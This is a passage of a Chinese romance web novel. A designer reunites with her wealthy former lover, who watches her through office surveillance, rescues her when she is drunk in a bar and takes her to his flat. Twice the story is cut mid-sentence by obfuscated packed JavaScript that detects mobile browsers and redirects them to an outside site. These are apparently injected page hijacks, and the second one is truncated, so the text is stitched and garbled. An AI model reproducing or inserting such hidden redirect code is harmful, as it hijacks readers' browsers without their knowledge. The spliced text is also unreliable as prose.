夜浓皱了皱眉:“但是归根结底,人家看重的是设计方案,这跟你去不去关系不大吧?” “我这不是想着把你隆重介绍给祁总吗?” “隆重介绍我?”夜浓失笑:“你就不担心现在把我架得高,后期我再摔下来?” “不怕,”阮瑜对她相当自信:“倒是你,把自己小瞧了。” 夜浓倒不这么认为:“设计是很主观的东西,哪怕我放弃我所有的想法,完全去迎合对方的需求,出来的东西可能也会与他的设想和期待有落差。” 说到这,夜浓又有些不解:“我看了他们之前所有的香水,无论是外观、材质还是颜色,我都觉得很棒,但你刚刚也说了,他们却没有和任何一家设计公司有过续约。” “这你就不知道了吧?” 阮瑜也是从和雾色有过合作的一家设计公司打听来的。 “雾色和很多化妆品公司不一样,他们可不会跟你说他们的需求、消费人群又或者价格定位,他们就是给你一张照片和已经确定好的名字,让你回去自己体会揣摩然后出方案。” 要这么说,是挺特立独行的。 阮瑜说:“别看这个祁总看着挺好说话,其实要求特别高,而且特别讲究细节。但凡有点不合他心意的,就会让你重做,你昨天不是去他们店里了吗,Y330那瓶香水应该也看到了吧,那个包装可不是设计公司做出来的。” “那是谁?”夜浓不禁好奇。 “祁孟祁总啊,除了他还能有谁,听说当时负责这个设计的设计总监,被他骂的狗血淋头的。” 夜浓好笑一声:“还骂人?”还真当自己是甲方爸爸吗? 阮瑜虽然也不能理解骂人的甲方,但她理解的是—— “要求不高的话,对得起他们家高出市场两倍还多的设计费?” 说说聊聊,车子开到了工业园区门口。 岗亭内的师傅探出头:“找哪位?” 司机落下车窗:“莱欧设计,和祁总约好了。” 与此同时,张秘书也接到了电话。 “祁总,莱欧的人已经来了。” 闻言,沈屹骁平淡至极的眼神里骤然起了一丝波动。 祁孟从沙发里起身,看向沈屹骁,“你先在这等会儿,我和张秘书下去接一下。” 眼看他们走到门口,沈屹骁像是突然回神:“等等——” 祁孟回头。 “别提我名字。” 祁孟定定地看了他两秒,虽然沈屹骁跟他说过,不想被外界知道他是幕后老板,但他今天都来了...... 不过这个时候,他没太多时间去细问,“知道了。” 人走后,沈屹骁深吸一口气,从沙发里起身走到窗边时,刚好看见一辆银色商务车从斜对面缓缓开近。 垂在身侧的手下意识就攥紧了,哪怕他都不知道车里是否有她。 视线紧紧追着那辆车的同时,心里像是有数字在默数。 当车在正对楼下的停车位里停稳时,沈屹骁心脏也随之加快。 他看着主驾驶的车门打开,下来一个男人,紧接着是副驾驶,只一眼,就被沈屹骁排除在外。 直到后座右侧车门打开—— 真不知是距离太近,还是说她留给他的印象太深。 只一个发顶,沈屹骁就认出是她。 那一刻,时间好像突然就回到了六年前的夏天。 暴暑炎夏,她整个人却白到发光,直着身骨,蹬踩着那辆黑色山地自行车迎面而来。 从他身边一晃而过时,她那长及脚踝的轻薄裙摆被风吹得鼓起,刚好擦过他膝盖。 让他目光不由自主地追上去,她脸上每一个精致的五官都清清楚楚印在他墨色的瞳孔里。那一瞬,整个世界好像都静止成虚幻的影像,只有她的脸是清晰的。 明艳、张扬,有着与她年龄不符的妩媚。 像一壶酒浇在他心头。 “就是她,一脸的狐媚相,勾得我们班一群男生整天跑寝室楼下去等她!” “只能说你们班男生没见过世面。” “说的好像你们班的男生见过世面似的,昨天你们班的韶观远还在图书馆约人家吃饭呢!” “那你怎么不说我们班的沈屹骁呢,她要是真能让沈屹骁多看她一眼,我还真就服了她了。” 后来,他何止是多看她一眼,他动了不知多少个心思和手段,终于约到了她的人,牵到了她的手,吻上了她的唇,还将她带回了他的公寓...... 再一回神,楼下人影已空,只盛秋日暖阳投射在地。 沈屹骁目光凝了两秒后倏地转过身。 敞开的门被他“咔哒”一声关上后,他握着门把的手又下意识往下压了稍许。 门留了一条缝。 所有的动作都不经大脑思考。 他也未去细究其原因,只是手从门把拿开时,为自己这一系列的动作感到一丝好笑。 唇角淡淡嘲讽的弧度还未消痕,走廊里传来高跟鞋的声音。 沈屹骁转身回到沙发前,就要坐下时,他下弯的腰又慢住。 会议室就在五楼,和祁孟这间办公室只隔了一堵墙。 将人妥善安排到会议室里后,祁孟借故出去。再回办公室,见沈屹骁坐在他办公桌前。 “之前就说要给你准备一间——” “把门带上。” 话被打断,祁孟回头看一眼敞开的办公室门,又回头看一眼他,心生疑惑,但还是转身照做。 门关上后,祁孟走过来:“人都在会议室,一块过去吧。” 电脑鼠标随着指尖轻点,发出“咔嚓、咔嚓”声。 沈屹骁视线在电脑屏幕上游走,“我就不去了。” 祁孟听罢一愣:“来都来了,怎么又不去了?” 沈屹骁语波淡淡:“一会儿要回公司,中途离开不好。” 理由似乎也说得过去,但又好像哪里不对。 祁孟眉心皱了皱,“那我先过去了。” “嗯。” 祁孟转身走了两步,又转回身:“不然你还是过来一趟吧,阮总带了一个新的设计总监过来,正好认识认识。” “一个设计总监而已,”沈屹骁唇角勾出一缕意味不明的笑,视线从电脑屏幕移开,落到祁孟脸上:“在你眼里我就这么闲?” 这人今天是来找茬的吧! 祁孟气笑一声:“行,那之后出设计方案,你别又像以前一样。”说完,他转身就走。 随着办公室门“咔哒”一声关上,会议室里的监控画面也随之出现在祁孟的电脑屏幕。 前后门两个监控刚好将夜浓的正脸和背影都拢进画面里。 和记忆里的她无限重合。 但气质却不似过去那般张扬放肆,多了几分成熟的内敛,但一眼看上去的明艳妩媚却丝毫不减。 有旁人 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所以她到底是什么意思,早不回来晚不回来,在他决定释怀的时候,回来了。 眼看画面里的人相继握手,沈屹骁退出监控画面从桌前起身。 一门之隔,他又听到了高跟鞋声。 以前给她买过的高跟鞋她总是很少穿过,嫌弃又沾沾自喜地说自己的身高根本不需要高跟鞋来衬托。 伴着高跟鞋轻踩地板的“咚咚”声里,陌生却又残留几许熟悉的声音从门缝里传来—— “祁总,您就别送了……” 那一刻,沈屹骁真的很想冲出去,问她到底什么意思,这番回来并出现在他面前到底是命运赐给他的意外,还是说,她后悔了当初的决定? 祁孟推门进来见他还在沙发里坐着,表情一怔:“你不是说回公司吗,怎么还没走?” 沈屹骁不接他这话,将手里的一次性纸杯放回茶几:“那边有没有说设计稿什么时候出来?” “方向和概念都还没出来呢,你就开始催设计稿了?”祁孟像看个陌生人似的看他:“以前怎么不见你这么急。” 沈屹骁从沙发里起身,随意般走到窗边,见车位里那辆银色商务车已经不在,他一边扣着西装外套的纽扣,一边转身往门口去。 祁孟视线追着他:“走了?” “嗯。” 出了门,刚好张秘书从左侧办公室里出来,“沈、沈总。” 沈屹骁看了他一眼:“把会议室的监控装个音频。” 张秘书来不及多想,忙说“好”。 下一秒,又听沈屹骁要求道—— “以后莱欧那边再过来人,提前一天跟我说。” 张秘书又忙不迭点头:“好的沈总。” * 回去路上,夜浓拿出祁孟给的照片。 阮瑜凑过来看了眼,轻笑道:“我说的没错吧!” 在会议室里,夜浓问祁孟,对这款已经命名为「Release」的香水有没有大致想要的风格,这样她们好确定设计方向。 祁孟便给了这张照片,然后说了一句话:你们先从照片里找找灵感。 从一个玻璃碎片上找灵感...... 是挺出乎意料的,按道理来说,今天这趟是应该要拿到产品定位以及预算的,但现在他们就只给了一张照片。 就算是高考作文,还有主题和字数要求呢。 不过,倒也不是无从下手。 夜浓将照片收起,“也不是一点头绪没有。”她抬头看向副驾驶,“刘蕴,回去以后通知设计部,下午两点开个会。” “好的。” 随后,夜浓用肩膀碰了碰阮瑜:“今晚有约吗?” 阮瑜歪头看她:“怎么了?” “我也入职两天了,想着请公司同事一块吃个饭。” 阮瑜想了想:“放到周五吧,第二天不上班也能玩得尽兴。” 夜浓点了点头:“行,那你今晚呢?” “怎嘛,”阮瑜眯眼瞧她:“想单独请我啊?” 夜浓用胳膊轻搡她一下:“就说你赏不赏脸吧!” 阮瑜可一点都不跟她客气:“有免费的酒喝,干嘛不去。”话落,她掩手:“到时候带你去个好地方。” 夜浓抿唇笑:“你说Chris呀?” 才来两天就被她打听到自己的喜好,阮瑜眉梢一挑:“可以呀,不过说真的,那地方是真不错。”是她近期发现的一个‘宝藏’。 夜浓忍不住逗她:“你是说酒,还是里面的小哥哥?” “还小哥哥呢,”阮瑜搡她一把:“对我来说都是小弟弟好不好?” * 从工业园回到公司,已是中午。 沈屹骁前脚刚到办公室,秘书关昇就敲门进来了:“沈总,耀辉科技的程总已经到了,正在会议室里等您。” 沈屹骁看了眼时间:“不是说下午两点吗?” 关昇说:“我从耀辉那边的人打听到,银行只给了他们五天的宽限时间,明天是最后一天。” 沈屹骁松着领带口的动作略有一停,默了两秒,他走到办公桌前:“帮我订份午餐。” “好的。” 办公室门合上,沈屹骁掏出手机,“上次不是约我喝酒的吗?” 电话那头的齐祯一愣:“今天周三。”他知道沈屹骁工作日的晚上是不会去外面喝酒的。 沈屹骁没说其他,“Chris,八点。去不去随你。” 5. 第五章 物欲横流的世界里,少不了繁华迷乱、灯红酒绿。 夜浓倚坐在酒吧吧台前的高脚椅上,吧台光线很暗,偶有五光十色的灯光打过来。 黑色的缎面长裙很贴身,将她瘦而不柴,窈窕婀娜的好身材展露无遗。 阮瑜用胳膊碰了她一下,“九点钟方向,两个男人的眼珠子都要掉你身上了。” 夜浓不是美的没有自知之明,她抿唇笑,像只神秘冷艳的猫:“何止两个,怕是一双手都数不过来。” 阮瑜被她逗笑:“本来长的就危险,还穿这么一身,故意的呀?” 夜浓托腮看她:“马上就奔三了,偶尔也要试试自己是否还有过去的魅力。” 阮瑜不禁撇了几分嘴角:“照你这么说,我一个马上奔四的女人,还要不要活了?” “拜托,你不说,谁看得出来啊!” “少来!”阮瑜嗔她一眼的同时又忍不住偷笑:“不过说真的,女人只要不结婚不生孩子,真的要比同龄人年轻许多。” 两三杯的烈酒,让夜浓有些微醺,“瞿总要是听了你这话,可要伤心了。”朦胧酒意,让她声音比平时多了几分嗔、几分娇。 阮瑜朝她轻“嗳”一声:“在香港的时候,公司里就有人传,说你不谈恋爱是因为身后有人。” “谁呀?”夜浓嘴角挟一抹狡黠:“隐藏大佬吗?” 阮瑜晃着杯里的冰块,“我可没这么说。” 夜浓笑出咯咯声:“所以你也想知道?” 阮瑜很少打探她的过去,这几年,她看着夜浓在一众女同事的嫉妒和嘲讽里忍气吞声,看着她利用所有的私人时间去学习,看着她抓住每一个机遇,拿下一个又一个让所有人都为之惊诧的大项目。 她如果真的想靠脸吃饭,根本不用这么努力。 可是她这样年纪的女孩子,完全可以在努力的同时去享受爱情。 但是没有,那么多条件好的男人,她从来都懒得正眼瞧上一眼。 “还是说,你...不喜欢......” 夜浓看着她做出的手势,刚抿到舌尖的酒差点被呛了出来,但她却没有急于否认,“如果真是那样,那你还愿意跟我出来喝酒吗?” 阮瑜“嚯”了声:“拜托,我包容性很强的好不好?” 她知道夜浓是开玩笑,手肘碰了碰她,难得八卦起她的感情生活。 “虽然这几年不见你谈恋爱,但你以前总谈过吧,”没等夜浓开口,她手指一指:“别跟我说你还留着初恋,我可不信。” “多大人了,还初恋,”夜浓轻笑一声:“谈过一个,不过早就分了。” 她语气很是轻松:“相比爱情,我还是觉得事业能给我带来更多的满足。” 毕竟,事业是付出就能看见回报的,爱情可说不准。 虽然料到她有过感情的经历,可从她本人口中得到确认,阮瑜还是像是挖到宝似的追问着:“是个什么样的人?” 她知道夜浓在衣着上的喜好,也知道她食物方面的忌口,唯独在男人的喜好上,她一无所知。 她的好奇心都要冲出天灵盖了:“说呀,到底是个什么样的?” 这要是平时,夜浓还真懒得提,今天不知是酒精的作用,还是说经她这么一提让她想起两天前看到的那张脸...... 都五年过去了,还真是一点都没变,所以男人的保鲜期是不是都比女人长呢? 见她还是不作声,阮瑜搡了她一手:“能不能别卖关子?” 得,不说怕是过不去了。 夜浓唔了一声后,实话实说:“很帅。” “帅?”阮瑜有被意外到:“你竟然还看脸?” “为什么不看?”夜浓也被她的意外意外到:“我也曾是外貌协会的一员好不好?” 阮瑜又问:“那家世呢?” 长相都说了,家世也没什么好隐瞒的。 夜浓用食指往上戳了戳:“算是京市里的Top吧。” 阮瑜恍然大悟:“难怪你看不上之前那些呢,”话落,她又皱眉:“那为什么分手?” 见她将杯里的酒一饮而尽,阮瑜心里有了猜测:“也是因为家世?” 夜浓招手调酒师又添了半杯:“你今天这么八卦,该不会又在帮谁打探吧?” 阮瑜想都没想就矢口否认:“怎么可能。”话落,她立马端起手边的酒杯。 夜浓一眼就看出她的心虚,“我之前就跟你说过,我跟他没戏。”她说的是方铭寒。 这话,阮瑜也不是第一次听她说了,但是以前阮瑜不知道她的上一段恋情,现在知道了,她点了点头:“是有几个臭钱。” 夜浓轻笑道:“钱是香的,臭的是人。”说完,她又解释:“我可不是说他啊。” 阮瑜当然知道她说的不是方铭寒,方铭寒虽是商人,年龄也比夜浓大了七八岁,但人品还是不错的。 但是刚刚夜浓的话题躲闪,让她觉得:“你是不是还没放下上一段?” “怎么可能?”夜浓将一饮而尽的酒杯往台上一搁:“你觉得我是那么拿不起放不下的人吗?” 同样一句话,也从远坐在角落卡座里的沈屹骁嘴里嗤了一声后说出来。 齐祯坐他对面,意味深长地笑了一嘴:“我就提了一嘴,你这么激动做什么。” “到底是我激动还是你激动?”沈屹骁抬起眼皮看了对面一眼:“别什么都往她身上扯。” 齐祯饶有兴趣地盯着他那张脸瞧:“那你跟我说说,到底是什么原因让你一个从不在工作日晚上来酒吧的人破了例?” 沈屹骁一副懒得与他说的架势,目光了落到不远处的舞池里。 见他目光像是找人,齐祯扭头看过去。 虽然劲爆的音乐也还未开始,但舞池里已经挤了不少人。 “看上哪个了,我帮你长长眼。” 沈屹骁已经寻到了目标,嘴角勾着缕意料之中的笑:“还真在。” 听闻他这话,齐祯视线收回看了他一眼之后,又再度投进舞池。 默了两秒,他眉梢一抬:“那是程耀辉的儿子吧?” 戴着个墨镜来酒吧,真不知是想低调还是想惹人注意。 齐祯好笑之余又打趣道:“他爸急得满世界托关系,他还有心情来泡妞呢。” 蓦地,他嘴角笑意一僵,视线收回,看了眼沈屹骁面前一口未喝的酒杯,这才反应过来,“敢情你今天点名要来这是为了找他?” Chris酒吧是这条酒吧街上最出名的一家,除了有其他酒吧难找的好酒之外,帅气的服务生统一穿着黑色背心而显现出的健硕肌肉才是这里最赏心悦目的风景。用男色引流女顾客的酒吧其实不少,但不一样的是,这里男服务生的长相却是别处难寻。当然,真正的消费群体还是来这里寻乐的男人。不过这里对男性顾客的门槛偏高,进来消费首先要办理一张最低十万的入会卡。 沈屹骁拿起手机,对准舞池一连拍了几张。 齐祯笑道:“你说你堂堂一个老总,至于亲自上阵干这事?” 沈屹骁收起手机:“喝完了吗?” 齐祯看了眼时间:“这才刚九点,你不再等等?” “等什么?”沈屹骁皱眉。 齐祯往舞池递了个眼神:“也许人家就只是来解个闷呢,”他指骨敲在手边的瓶身:“几千块一瓶的酒,程少爷上次可是大手一挥把全场的单都买了。” “上次是什么时候?” 齐祯也有一段时间没来了,想了想:“应该是耀辉还没出事的时候。” 沈屹骁未再作声,但从抱于身前的胳膊来看,是应了齐祯的提议。 十点,五光十色的旋转灯光打在舞池内,鼓声碟声躁起。 沈屹骁已经许久不来酒吧这种地方,一是觉得浪费时间浪费精力,二是他已经不需要再借助这种敲击耳膜的喧嚣来让自己消沉。 想到过去那段被酒精泡发的大脑和身体,他嘴角扬起一抹自嘲。 坐了一会儿,沈屹骁实在被吵得心烦,他站起身:“你留意着,我出去透透气。” 鼓乐喧天,人声鼎沸。 就连卡座过道间都挤满了人。 而此时的吧台倒成了无人问津的一方小天地。 四十分钟前,阮瑜被瞿总一个电话喊走了,那会儿,夜浓人还是清醒的,也答应阮瑜应待一会儿就走,结果几杯鸡尾酒一喝,醉意上了头。 她眼里映着这灯红酒绿,坐姿闲散地靠着吧台。 频闪灯里折射出的五彩斑斓投在她沾了绯色的脸颊,虽然碟声吵得人耳膜发震,但夜浓还是随着节奏一下又一下地点着下巴。 就是这该死的酒精让人眼皮愈发的重,不知不觉的,撑在额鬓的手落了下去。 不远处的两双眼睛早已垂涎许久。 其中一个男人下巴一抬眼色一睇,另一个男人随之站了起来。 “宝贝,怎么睡在这儿啊?” 一声试探,见她没有反应,男人便大着胆子去扶她的肩膀。 吧台里的调酒师看出端倪,但也不敢过分阻止,只说:“先生,您和这位女士认识吗?” 男人豪爽的嗓门一扬:“当然,我们是朋友。” 酒保礼貌微笑,递过来一张消费清单:“这是这位女士今晚的消费,既然你们是朋友,还请帮忙结一下。” 男人伸手接过,一看上面的金额,眼睛睁大:“三万多?” 酒吧点头:“是的。” 男人给旁边的人递了个眼神,“我手机还在卡座里,你去帮我拿来,我先把她扶车上去。”说完,他手臂一圈,将夜浓从高脚凳上带了下来。 可惜夜浓双腿虚软根本站不稳,身子骨软下去,男人眼疾手快就要去捞她腰,却被另只手臂截住。 男人抬眼看过去,先是被对方晦沉的眼神震慑两秒,反应过来,调子一扬:“你谁啊?” 沈屹骁将人强势搂到怀里,看向男人的眼神丝毫不藏着他的攻击性:“你又是谁?” 男人偷偷观察夜浓许久了,并未见她有男伴,他心虚却又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578474|143042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故作豪横:“我是她男人!” “她男人?”沈屹骁嘴角挂着一抹明晃晃的嘲讽:“你是他男人,那我是什么?” 对方瞳孔一缩,但是又很快反应过来他应该是想截胡。 他横着食指一指:“我劝你少管闲事!” 沈屹骁压着想拧断他手指的冲动,笑了笑:“我也不想管,这样,只要你说出她名字,我就让你把她带走。” 男人眼珠子一转,胡诌了个名字:“王萌。” 沈屹骁看着男人,声音裹挟着冷意:“你倒是会编。” 话落,怀里的人突然仰起脸。 “咦?” 沈屹骁心脏微微一缩,低头看向怀里时,他眼底的冷然随即淡了几分,然而下一秒,他脸就被异常温热的两只掌心覆住了。 夜浓两只掌心挤着他脸,冲他一笑:“你怎么在这?” 还是和过去一样,一醉酒就喜欢揉他的脸...... 被他藏于心底的过去仿佛一场春雨,漫天飘下来。 夜浓脸上的绯色从鼻尖蔓到两腮,只见她红唇一弯,笑得好似一只餍足慵懒的猫,“别以为我看见你一次,你、你就可以得寸进尺......” 沈屹骁眉心慢慢拢紧,目光沉在她朦胧一层水汽的眼睛里,难道是上午他站在窗前失神的时候被她看见了? 夜浓已经被酒精浸的完全陷在自己的思维里,贴在他脸上的手收了回来,改用伸不直的食指指尖抵着他下巴,“你知不知道,我一点都不想看见你,一、一点都不想。” 沈屹骁冷出一声笑:“你以为我又想看见你?” 吧台内的调酒师还第一次见到这状况,他辨不出真假,只能故技重施:“先生你好。” 见男人没回头,调酒师抬高声调:“这位先生?” 沈屹骁这才扭头看过去。 “请问你和这位女士认识吗?” 沈屹骁没回答,反倒低头看向怀里的人,“认识我吗?” 夜浓捏着他下巴,两指一甩:“你就是化成灰我也认识。” 时隔五年,再见又是揉他的脸,又是甩他的下巴。 还以为是五年前,还以为他会对她千般万般容忍? “既然化成灰你都认识,”沈屹骁搂着她的腰,将她发软的身子骨往上一提:“那你跟人家说,我叫什么?” 尽管被他搂在怀里,可夜浓依旧双脚虚浮得站不稳,索性两条胳膊攀上他肩,在听见他沉沉一声发问后,她仰头看他,意识混沌,可这张挑不出瑕疵的五官却与她记忆里的那张可恶的嘴脸重叠得严丝合缝。 夜浓冷嗤了一声笑,继而像喊他名字似的喊他:“王八蛋!” 沈屹骁:“......” 调酒师嘴角憋笑,但还是双手将一纸消费清单递过来:“先生,如果您想将这位女士带走,麻烦您把这位女士的单买一下。” 沈屹骁没有去接,只问:“多少钱?” 调酒师说:“这位女士一共消费三万七。” 沈屹骁一手搂紧怀里的人防止她站不稳滑下去,另只手从口袋里掏出今晚刚办的卡。 见他递过来的卡是金色,调酒师忙双手接过:“您稍等。” 买了单,沈屹骁收回自己的卡,再看向怀里时,他冷出一声笑音。 刚才还一副耀武扬威的姿态,这才过去几分钟,人又醉回到脑袋都抬不起。 沈屹骁深吸一口气,将高脚椅上的包挂到肩膀上,直接将人拦腰抱出酒吧。 沈屹骁来的早,车就停在酒吧门口为数不多的停车位里。 将人放到副驾驶后,他没有立即抽回搂在夜浓肩膀后的手臂,而另只弯在她腿弯的那只手缓缓压在了座椅边缘。 整整五年不见的脸,从来只会出现在他梦里的脸,如今真真实实的,离他不过寸许。 究竟是喝了多少的酒,脸上的潮红竟然能从额头一整个蔓到锁骨。 如果今晚他没有出现,她岂不是要被那个男人带走? 都五年过去了,那股天不怕地不怕的劲怎么还是一点都没变。 不敢想的后果在他脑海里快速闪过,沈屹骁深深一个呼吸。 如果说上午见到她是事先有安排,那现在又毫无预兆的在酒吧里碰见又算什么。 是京市太小了,还是说她和他的缘分未尽? 缘分...... 沈屹骁嘴角掀起若有似无的弧度。 就算是缘分,怕也是孽缘吧。 那晚,他将她堵在宿舍楼后,求她的话说尽,她也不为所动,甚至在他咬牙说出【真要跟我分手,那这辈子都别再让我看见你】那句话后,她也只留给他冷漠一眼。 那一眼之后,她就走了,头也不回。 那现在再回来是什么意思? 故意试他的反应? 那她又想要他给出怎样的反应? 目光一寸一寸掠过她的眼、她的鼻、她的唇。 沈屹骁压下心头的酸楚:“夜浓,你真是太小看我了。” 6. 第六章 红灯,车在斑马线前停下,沈屹骁一根食指推在夜浓肩膀:“喂。” 夜浓依旧一点反应都没给他。 开车前,沈屹骁不仅喊了她,也晃了她,更是将「你住哪」这三个字问了不知多少遍,但是夜浓回他的除了皱眉还是皱眉,最后实在是烦了,巴掌胡乱一拍,拍在了他脸上。 气得沈屹骁索性不管她,直接将车往铂悦府的方向开。 那根没怎么用力的手指又推了好几下,眼看红灯只剩几秒时间,沈屹骁这才无奈作罢。 就这点酒量还敢自己去酒吧喝酒,真是不知道自己几斤几两。 这一想法从他心底掠过时,沈屹骁顺势就想到晚上那个男人搂着他肩膀的动作,心口的郁气几个深呼吸都没能驱散。 车子开进铂悦府,再驶入车库,最后在十二栋电梯口的车位里停稳。 知道她对电子手刹的声音敏感,沈屹骁便没有立即将车子熄火。 车厢里安静无声,能清楚听见旁边熟睡人略沉的呼吸声,沈屹骁静静地看了她一会儿,心里正犹豫着再等多久将她带楼上时,放在中控台,被他调成静音的手机屏幕亮了。 沈屹骁看了眼来电,又看了眼睡得正香的人,短暂犹豫后,他转过身,将手机接通。 “喂?” “人呢,赶紧回来,程大少爷马上就要撒钱了!” 车厢里太过安静,就显得话筒那边的声音异常得吵。 沈屹骁声音压低:“我有点事先走了,你帮我多拍几张照片。” 没等齐祯将疑惑说出口,沈屹骁就挂了电话。 转过身来时,见副驾驶的人还没有丝毫要醒的迹象。 总不能就这么让她在车里一直睡下去。 沈屹骁目光凝在她脸上。 其实在确定将她带回自己的住处时,沈屹骁就将她酒醒后可能的质问想好了应对的话术。当然,这都要多亏知道她酒醉断片的经验。 不过以前她酒醉可一点都不像现在这般老实。 闹人不说,话还特别多。 越不想回忆过去,大脑越是不受自己控制。 不想再被过去毫无意义的温存干扰,沈屹骁果断开门下车。 没了安全带的束缚,夜浓顿时就想翻身,沈屹骁忙握住她里侧肩膀,一只胳膊探过她颈下,另只胳膊捞起她腿。 刚要使力,看似熟睡的人就配合地抬起两只胳膊圈住了她脖子。 沈屹骁动作一顿,这种近在咫尺的距离,不仅能看清她鼻尖细小的绒毛,更能感受到她滚烫的鼻息。 其实他完全可以找个酒店,而非必须将她带回自己的住处。 他清楚这是在给自己找麻烦。 像是在给自己反悔的最后一个机会,沈屹骁情绪翻涌的目光沉在她脸上,同时压着声问她:“要不要去我那?” 他也不知道自己在期待什么,又或者在害怕什么,短暂几秒的等待就让他手心出了汗,而后在他的凝眸里,看见她红润的唇翕动,吐出黏黏糊糊的一声“唔”音。 也就是那一声可能是应允也可能是她无意识的一声低喃,让沈屹骁不再迟疑地捞起她腿,将她从车里抱了出来。 谁知在车里还老老实实,怎么叫都没反应的人,一下车就开始似醒非醒的不安分了。 一只手勾在他脖子上,一只手拽着他的领带,如果只是这样也就算了,还把自己的脸往他衬衫领口蹭。 西装外套在沈屹骁上车后就脱下丢在了后座里,这会儿他身上只一件衬衫和西装马甲。 不知是布料薄了,还是她呼出的气息太过滚烫,一阵又一阵的灼热穿透布料斥进他皮肤,惹得沈屹骁眉心一次次蹙起。 电梯门关上,沈屹骁低头看向怀里的人。 嘴巴微微撅着,看似好像受了多大的委屈。 眉眼里的凉意不知不觉混进他自己都未曾察觉到的心疼,连着他的心也跟着软下来。 以前,她每次和她母亲吵完架都会喝酒,那时的她酒量非常差,两三个杯底的白葡萄酒就能让她酒意上头,然后给他打电话,一遍又一遍地喊他的名字—— “沈屹骁。” “沈屹骁。” “沈屹骁。” ...... 他也会给足她耐心,在电话那头一遍又一遍地应她:“嗯?” 她也会生气,气鼓鼓的声音里夹着黏糊糊的怪嗔:“你为什么都不问我为什么喝酒?” 哪里需要问,在这段恋爱里,他给了她无尽的宠爱与纵容,学校的羡慕嫉妒惹来的各种非议也从未被她记在心里,就只剩下她那破碎的家庭...... 所以他从不明知故问,会拿上他平时买回去但没有一次性给她的包包或小首饰,然后在驱车接她的途中,给她买她爱吃的甜而不腻会让她心情变好的甜食,最后一一捧到她面前,只为博她嘴角一弯笑痕。 电梯“叮”的一声—— 沈屹骁恍然回神,低头再看一眼怀里的人,很想问她,这次喝酒是否还是和以前一样,因为她的母亲。 可话却悬在他嗓间,醉成这样,能问出什么呢。 沈屹骁轻叹口气,迈脚走出电梯。 进了家,他直接去了主卧,把人放在了他平时睡的那张床上。 身体感觉到松软舒适,在沈屹骁还未来及将胳膊从她肩膀下抽出来的时候, 夜浓顺势朝他怀里翻了个身。 这种胳膊横亘在他腰上,好似被她拥着的姿势,让沈屹骁整个人僵住。 不自觉的想起那些隆冬夜晚,她也是这样,喜欢从正面抱着他睡。 都说女孩子身子骨一到冬天就特别凉,她不是,她身上就像个小火炉似的,暖烘烘的,抱在怀里,特别舒服。 而他也是冬暖夏凉的体质,所以一到太阳好的时候,他就会让人将被子拿到太阳下烘晒。 那时,她总会问他:沈屹骁,你知道这个世界上最好闻的味道是什么吗? 对他来说,这个世界上再没有一种味道能好闻到胜过她的体香。 但沈屹骁也知道,她说的是太阳的味道,是被子在经过太阳暴晒后留下的松软与温暖的味道。 她这样一个缺爱的人,而他又是用尽全力去爱她的人,可那又怎样,他的掏心掏肺在她眼里,不过是「玩」。 沈屹骁另只手托起她头,将胳膊抽了出来。 卧室门无声合上,沈屹骁背身对门,深深一个呼吸后,径直去了餐厅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“咣铛”一声响打断了齐祯的话。 他循声扭头:“什么声音?” 沈屹骁眼波悄然一顿,但很快他就给出了平静的反应:“你听错了。” 怎么可能,那么大的一声响,明显是什么东西掉地上的声音。 齐祯疑惑地看了他一眼,越想越不对,刚一转身。 “回来!” 齐祯双脚一顿,刚一回头就见沈屹骁从沙发里起了身。 “当是自己家了?” 齐祯被他一句略带质问的语气堵得满目怔愣,然后就见他越过自己肩膀,往卧室方向去。 齐祯愣在原地,眼睛一转,眉梢一挑,为了验证自己心里的猜测,他轻步跟上去。 卧室门紧闭,齐祯耳朵贴门,屏气听着里面的动静。 一阵寂静无声里,突然一道软绵绵的“唔”声传进齐祯的耳朵里,惊得他身体陡然直了回来。 他心里一声“我靠” 这人竟然在房间里藏了个女人! 7. 第七章 齐祯没敢在门口久听,带着满腔的震惊、好奇和疑惑回到客厅。 这几年,他和他弟弟齐冀没少劝过沈屹骁,正面的‘引导’,反向的‘刺激’,能说的,不能说的都说了,可每回沈屹骁不是沉默就是冷言冷语一句「说完了?」来结束这种话题。 近两年,他们更是有意无意地说服他交交女朋友,可这人从来都不为所动。如今可好,悄无声息的带了个女人回来,还唯恐被他这个好兄弟知道。想当初他大学谈的那个,昭告天下似的,恨不得人尽皆知。 回想刚刚那声动静后,他的反应,齐祯越想越觉得不对劲。 若是因为关系没确定不想被他知道的话,那他干嘛把人带回家,这可不像他的作风。 难道说,里面的女人是...... 这个可能性让他瞳孔一缩。 沈屹骁从卧室里出来的时候,齐祯正呆若木鸡的站在沙发前。 沈屹骁瞥他一眼,皱了皱眉:“怎么了?” 齐祯目光扫过沈屹骁身上的睡袍,没说话。 沈屹骁知道他心里有疑惑,但相比解释和闭口不提,他觉得后者更省时省力。 “时间很晚了,你早点回去吧。” 这么急着给他下逐客令,还真是扰他好事了。 虽然理解他作为男人的需求,但却无法苟同他的做法,嫌弃的眼神将面前的人从头到脚打量一遍后,齐祯呵了声冷笑:“抽空去医院检查检查吧!” 听出他的阴阳怪气,沈屹骁更觉云里雾里:“检查什么?” 明知故问。 还能检查什么,就算真找那种女人,外面不能解决,非得带家里来? 齐祯懒得再同他说,从他身边走过时,没好气的拿肩膀撞在他肩膀。 沈屹骁:“......” 虽然一头雾水,但他对齐祯的莫名其妙没放心上,目送他出门,沈屹骁回到卧室。 刚刚齐祯听到的那声动静是夜浓打翻了床头柜上闹钟的声音,而她自己也从床上滚了下来。好在床边有一层羊绒地毯,不然把她摔疼摔醒了从房间里出去,再被齐祯看见,沈屹骁还真不知道要怎么解释。 